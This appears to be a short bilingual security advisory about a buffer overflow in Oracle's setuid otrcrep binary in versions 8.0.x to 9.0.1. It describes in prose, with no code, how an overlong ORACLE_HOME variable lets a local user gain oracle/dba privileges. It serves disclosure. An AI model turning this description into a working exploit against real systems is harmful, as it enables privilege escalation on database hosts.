Oracle8.0.x到9.0.1版本的otrcrep存在缓冲区溢出漏洞。本地用户借助超长ORACLE_HOME环境变量执行任意代码，也称为“Oracle踪迹收集安全漏洞”。

Oracle is an Enterprise level SQL database, supporting numerous features and options. It is distributed and maintained by Oracle Corporation.

A buffer overflow has been discovered in the handling of $ORACLE_HOME by otrcrep. otrcrep is installed with the Oracle suite as a SUID oracle SGID dba binary. This buffer overflow may be exploited by a local user to overwrite stack variables, including the return address, and execute arbitrary code with the privileges of user oracle and group dba.
